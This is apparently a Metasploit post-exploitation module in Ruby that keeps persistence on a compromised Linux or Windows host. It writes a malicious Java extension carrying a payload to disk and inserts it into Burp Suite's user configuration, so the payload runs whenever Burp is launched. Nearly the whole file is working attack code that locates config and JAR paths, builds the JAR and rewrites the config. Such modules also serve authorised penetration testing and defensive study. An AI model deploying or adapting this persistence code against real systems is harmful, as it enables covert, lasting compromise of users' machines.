## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # require 'open3' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix # whoami include Msf::Auxiliary::Report include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Windows::Registry include Msf::Exploit::Local::Persistence def initialize(info = {}) super( update_info( info, 'Name' => 'Burp Extension Persistence', 'Description' => %q{ This module adds a java based malicious extension to the Burp Suite configuration file. When burp is opened, the extension will be loaded and the payload will be executed. Tested against Burp Suite Community Edition v2024.9.4, on Ubuntu Desktop 24.04. Tested against Burp Suite Community Edition v2025.12.3 on Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die' # Module ], 'DisclosureDate' => '2025-01-01', 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => false, 'References' => [ [ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ], [ 'URL', 'https://portswigger.net/burp/documentation/desktop/troubleshooting/launch-from-command-line' ] ], 'DefaultOptions' => { 'PrependMigrate' => true }, 'Targets' => [ [ 'Java', { 'Platform' => 'java', 'Arch' => [ARCH_JAVA] } ], ['Linux', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] } ], [ 'Windows', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD] }, { 'Payload' => { 'Space' => 8_191 - 'cmd.exe /c '.length } } ], ], 'Actions' => [ ['precompiled', { 'Description' => 'Use pre-compiled bytecode' }], ['build', { 'Description' => 'Build the extension locally with Gradle' }] ], 'DefaultAction' => 'precompiled', 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] }, 'DefaultTarget' => 0 ) ) register_options([ OptString.new('NAME', [ false, 'Name of the extension', '' ]), OptString.new('CONFIG_FILE', [ false, 'Config file location on target', '' ]), OptString.new('BURP_JAR', [ false, 'Location of Burp JAR file', '' ]) ]) register_advanced_options([ OptString.new('GRADLE', [ false, 'Local Gradle executable', '/usr/bin/gradle' ]), ]) end def extension_name_generator return datastore['NAME'] unless datastore['NAME'].blank? rand_text_alphanumeric(4..10) end def window_target? ['windows', 'win'].include? session.platform end def get_home return cmd_exec('cmd /c echo %USERPROFILE%').strip if window_target? return cmd_exec('echo ~').strip end def writable_dir d = super return session.sys.config.getenv(d) if d.start_with?('%') d end def get_userconfig_path unless datastore['CONFIG_FILE'].blank? return nil unless file?(datastore['CONFIG_FILE']) return datastore['CONFIG_FILE'] end home_path = get_home vprint_status("Home path detected as: #{home_path}") path = (window_target?) ? home_path + '\\AppData\\Roaming\\Burpsuite\\' : home_path + '/.BurpSuite/' if file?(path + 'UserConfigPro.json') @pro = true return path + 'UserConfigPro.json' end return path + 'UserConfigCommunity.json' if file?(path + 'UserConfigCommunity.json') end def get_burp_executable if !datastore['BURP_JAR'].blank? return nil unless file?(datastore['BURP_JAR']) return datastore['BURP_JAR'] end home_path = get_home if @pro burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuitePro\\burpsuite_pro.jar' : home_path + '/BurpSuitePro/burpsuite_pro.jar' return burp_exec_path if file?(burp_exec_path) end burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuiteCommunity\\burpsuite_community.jar' : home_path + '/BurpSuiteCommunity/burpsuite_community.jar' return burp_exec_path if file?(burp_exec_path) end def modify_user_config(extension_location, extension_name) user_config = read_file(@userconfig_path) path = store_loot('burp.config.json', 'application/json', session, user_config, nil, nil) print_good("Config file saved in: #{path}") user_config_json = JSON.parse(user_config) extensions_config = user_config_json.dig('user_options', 'extender', 'extensions') fail_with Failure::PayloadFailed, 'Failed to get extension configuration' unless extensions_config malicious_extension = { 'errors' => 'ui', 'extension_file' => extension_location, 'extension_type' => 'java', 'loaded' => true, 'name' => extension_name, 'output' => 'ui', 'use_ai' => false } extensions_config.unshift(malicious_extension) user_config_json['user_options']['extender']['extensions'] = extensions_config fail_with Failure::PayloadFailed, 'Module failed to overwrite UserConfig file' unless write_file(@userconfig_path, JSON.generate(user_config_json)) @clean_up_rc << "upload #{path} #{@userconfig_path}\n" end def check if action.name == 'build' if File.exist?(datastore['GRADLE']) vprint_good('Gradle found') else print_warning('Gradle is required on the local computer running metasploit, please install it or use precompiled action') end end @userconfig_path = get_userconfig_path CheckCode::Safe("Config file not found: #{datastore['config']}") if @userconfig_path.nil? CheckCode::Detected("Found UserConfig file #{@userconfig_path}") end def add_extension(settings_file, extension_location, extension_name) # open file config_contents = read_file(settings_file) # store as loot for backup purposes path = store_loot('burp.config.json', 'application/json', session, config_contents, nil, nil) print_good("Config file saved in: #{path}") # read json begin config_contents = JSON.parse(config_contents) rescue JSON::ParserError fail_with(Failure::Unknown, "Failed to parse json config file: #{settings_file}") end malicious_extension = { 'errors' => 'ui', 'extension_file' => extension_location, 'extension_type' => 'java', 'loaded' => true, 'name' => extension_name, 'output' => 'ui' } begin config_contents['user_options']['extender']['extensions'] << malicious_extension rescue NoMethodError fail_with(Failure::NotFound, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file, not a user one.") end # write json write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 })) end def run_local_gradle_build(extension_name) # Check if gradle is installed fail_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE']) # Define source and destination directories src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension') temp_dir = Dir.mktmpdir # Copy necessary files to the temporary directory FileUtils.cp_r(File.join(src_dir, 'src'), temp_dir) FileUtils.cp(File.join(src_dir, 'settings.gradle'), temp_dir) FileUtils.cp(File.join(src_dir, 'build.gradle'), temp_dir) # Modify name.txt with the new extension name java_file = File.join(temp_dir, 'src', 'main', 'resources', 'name.txt') File.open(java_file, 'wb') { |file| file.puts extension_name } if target.name == 'Java' # delete the /src/main/resources/command.txt file copied over in the cp_r as its not needed File.delete(File.join(temp_dir, 'src', 'main', 'resources', 'command.txt')) java_file = File.join(temp_dir, 'src', 'main', 'resources', 'burp_extension_pload.jar') payload_jar = generate_payload.encoded_jar(main_class: 'burp_extension_pload') File.open(java_file, 'wb') { |file| file.puts payload_jar.pack } else # Modify command.txt where we put our payload command java_file = File.join(temp_dir, 'src', 'main', 'resources', 'command.txt') File.open(java_file, 'wb') { |file| file.puts payload.encoded } end # Run gradle clean build vprint_status("Building Burp extension jar file locally in #{temp_dir}") Dir.chdir(temp_dir) do IO.popen([datastore['GRADLE'], 'clean', 'build']) do |stdout| stdout.each_line { |line| vprint_line line } end end # Check if the jar file was created jar_file = File.join(temp_dir, 'build', 'libs', 'MetasploitPayloadExtension.jar') fail_with(Failure::NotFound, 'Failed to build burp extension') unless File.exist?(jar_file) print_good("Successfully built the jar file #{jar_file}") File.read(jar_file) end def compiled_extension(extension_name) # see data/exploits/burp_extension/notes.txt on how to get this content burp_extension_class = File.read(File.join( Msf::Config.data_directory, 'exploits', 'burp_extension', 'precompiled.class' )) jar = Rex::Zip::Jar.new # build our manifest manually because its only one line and we don't need the extra # ones that metasploit's build_manifest adds. This more closely implements the gradle build command jar.add_file('META-INF/', '') jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n") jar.add_file('burp/', '') jar.add_file('burp/BurpExtender.class', burp_extension_class) if target.name == 'Java' jar.add_file('burp_extension_pload.jar', generate_payload.encoded_jar(main_class: 'burp_extension_pload').pack) else jar.add_file('command.txt', payload.encoded) end jar.add_file('name.txt', extension_name) jar end def install_persistence fail_with(Failure::BadConfig, 'WritableDir can not be blank') if writable_dir.empty? # RuntimeError `writable?' method does not support Windows systems if !window_target? && !writable?(writable_dir) fail_with(Failure::NotFound, "Unable to write to WritableDir: #{writable_dir}") end # get UserConfig file path unless @userconfig_path get_userconfig_path end if @userconfig_path.nil? fail_with(Failure::NotFound, 'User does not have a UserConfig file, likely Burp was installed but never run') end vprint_status("Burp UserConfig file: #{@userconfig_path}") # get Burp executable burp_path = get_burp_executable fail_with Failure::NotFound, 'Burp JAR file was not found' unless burp_path vprint_status("Burp JAR file: #{burp_path}") # create extension print_status('Creating extension') extension_name = extension_name_generator print_status("Using extension name: #{extension_name}") if window_target? extension_location = "#{writable_dir}\\#{extension_name}.jar" else extension_location = "#{writable_dir}/#{extension_name}.jar" end vprint_status('Creating JAR file') case action.name when 'build' jar = run_local_gradle_build(extension_name) when 'precompiled' jar = compiled_extension(extension_name) end # store extension on target's machine vprint_status("Writing malicious extension to disk: #{extension_location}") fail_with Failure::PayloadFailed, 'Failed to write malicious extension' unless write_file(extension_location, jar) @clean_up_rc << "rm #{extension_location}\n" # overwrite configuration vprint_status('Modifying Burp configuration and adding malicious extension') modify_user_config(extension_location, extension_name) end end